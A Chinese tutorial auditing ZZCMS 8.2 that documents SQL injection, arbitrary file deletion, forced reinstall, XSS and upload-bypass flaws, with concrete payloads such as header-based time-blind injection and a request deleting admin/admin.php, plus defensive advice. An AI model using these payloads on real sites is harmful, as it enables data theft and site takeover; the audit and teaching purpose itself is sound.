代码审计之zzcms网站管理系统
字数 1832 2025-08-18 11:37:07
ZZCMS 8.2 代码审计与漏洞分析教学文档
一、审计工具与环境准备
-
审计工具:使用Seay源代码审计系统
- 支持自动审计功能
- 提供全局定位搜索功能
- 可生成扫描报告
-
审计流程:
- 导入项目源码
- 执行自动审计
- 分析扫描结果
- 重点验证可疑漏洞点
二、SQL注入漏洞分析
1. 基于IP伪造的SQL注入
漏洞文件:/user/check.php
漏洞代码:
query("UPDATE zzcms_user SET loginip = '".getip()."' WHERE username='".$username."'");
漏洞分析:
getip()函数从多个HTTP头获取IP地址(HTTP_CLIENT_IP、HTTP_X_FORWARDED_FOR等)- 未对IP地址进行过滤处理
- 攻击者可伪造恶意IP构造SQL注入
利用方法:
X-Forwarded-For: 1' AND (SELECT 1 FROM (SELECT SLEEP(5))a)--
2. 表名直接拼接导致的SQL注入
漏洞文件:/user/del.php
漏洞代码:
if (strpos($id,",")>0)
$sql="select id,editor from ".$tablename." where id in (". $id .")";
else
$sql="select id,editor from ".$tablename." where id ='$id'";
漏洞分析:
$tablename变量直接从POST获取- 未进行任何过滤直接拼接进SQL语句
- 可构造恶意表名实现注入
改进的Payload:
id=1&tablename=zzcms_answer where id=999999999 union select 1,2 and if((ascii(substr(user(),1,1)) = 114),sleep(3),1)#
三、任意文件删除漏洞
1. 广告管理模块文件删除
漏洞文件:/user/adv.php
漏洞代码:
if ($oldimg<>$img){
$f="../".$oldimg;
if (file_exists($f)){
unlink($f);
}
}
漏洞分析:
$oldimg变量未过滤../等路径遍历字符- 可跨目录删除任意文件
- 需要满足
$action=="modify"且$img != $oldimg
利用Payload:
POST /user/adv.php?action=modify HTTP/1.1
...
adv=tettste&advlink=/zt/show.php?id=1&company=测试&img=test&oldimg=admin/admin.php
2. 其他存在相同漏洞的文件
/user/licence_save.php/user/manage.php/user/ppsave.php/user/zssave.php
四、网站重装漏洞
漏洞文件:/install/step_2.php至/install/step_6.php
漏洞分析:
- 只有
step_1.php检查了install.lock文件 - 其他步骤文件缺少安装锁定检查
- 可直接访问后续步骤重装系统
利用方法:
POST /install/index.php HTTP/1.1
...
step=2
五、反射型XSS漏洞
1. 顶部导航栏XSS
漏洞文件:/inc/top.php
漏洞代码:
if (@$_POST["action"]=="search"){
echo "<script>location.href='".@$_POST["lb"]."/search.php?keyword=".@$_POST["keyword"]."'</script>";
}
漏洞分析:
- 未包含
/inc/conn.php进行输入过滤 - 直接输出用户控制的
lb和keyword参数 - 可构造恶意输入闭合标签
2. 图片上传表单XSS
漏洞文件:/uploadimg_form.php (66-67行)
六、文件上传漏洞
漏洞文件:/uploadimg.php
漏洞分析:
-
检查流程:
- 检查文件是否存在
- 检查文件大小
- 检查MIME类型(可被GIF89a绕过)
- 黑名单检查后缀(php/asp/jsp)
-
绕过方法:
- 使用
.phtml后缀(未在黑名单中) - 使用图片木马(copy命令合并)
- 使用
防御缺陷:
- 仅检查第一个点后的后缀(可上传
shell.php.jpg) - 黑名单机制不完整
七、安全防护机制分析
1. 输入过滤机制
文件:/inc/stopsqlin.php
过滤函数:
function zc_check($string){
if(!is_array($string)){
if(get_magic_quotes_gpc()){
return htmlspecialchars(trim($string));
}else{
return addslashes(htmlspecialchars(trim($string)));
}
}
foreach($string as $k => $v)
$string[$k] = zc_check($v);
return $string;
}
过滤方式:
trim()去除空白字符htmlspecialchars()转义HTML特殊字符addslashes()转义SQL特殊字符
2. SQL关键词过滤
函数:
function nostr($str){
$sql_injdata = "select|insert|update|delete|'|/*|*/|../|./|union|into|load_file|outfile";
$sql_inj = explode("|",$sql_injdata);
for ($i=0; $i< count($sql_inj);$i++){
if (@strpos($str,$sql_inj[$i])!==false){
showmsg ("含有非法字符 [".$sql_inj[$i]."] 返回重填");
}
}
return $str;
}
缺陷:
- 过滤不完整(缺少sleep、benchmark等关键词)
- 大小写可绕过
- 可使用编码/注释绕过
八、防御建议
-
SQL注入防御:
- 使用预处理语句
- 完善过滤函数的关键词列表
- 对表名、字段名等使用白名单校验
-
文件操作防御:
- 限制文件路径范围
- 过滤
../等路径遍历字符 - 使用
basename()获取文件名
-
XSS防御:
- 统一输入过滤机制
- 在输出时进行HTML编码
- 设置CSP策略
-
文件上传防御:
- 使用白名单校验文件后缀
- 检查文件内容而非仅扩展名
- 上传后重命名文件
-
安装流程防御:
- 所有安装步骤都检查install.lock
- 安装完成后删除install目录
九、审计技巧总结
-
关注用户输入点:
$_GET/$_POST/$_COOKIE/$_REQUEST- 文件上传
- HTTP头(如IP地址)
-
追踪数据流向:
- 从输入点到最终使用点
- 特别注意数据库操作、文件操作、命令执行等危险函数
-
审计工具辅助:
- 使用自动审计工具快速定位可疑点
- 利用全局搜索追踪变量和函数
-
验证漏洞时注意:
- 实际环境测试
- 考虑过滤规则的绕过方法
- 构造最小化PoC
-
学习资源推荐:
- 《代码审计--企业级Web代码安全架构》
- 各类CMS漏洞分析文章
- OWASP代码审计指南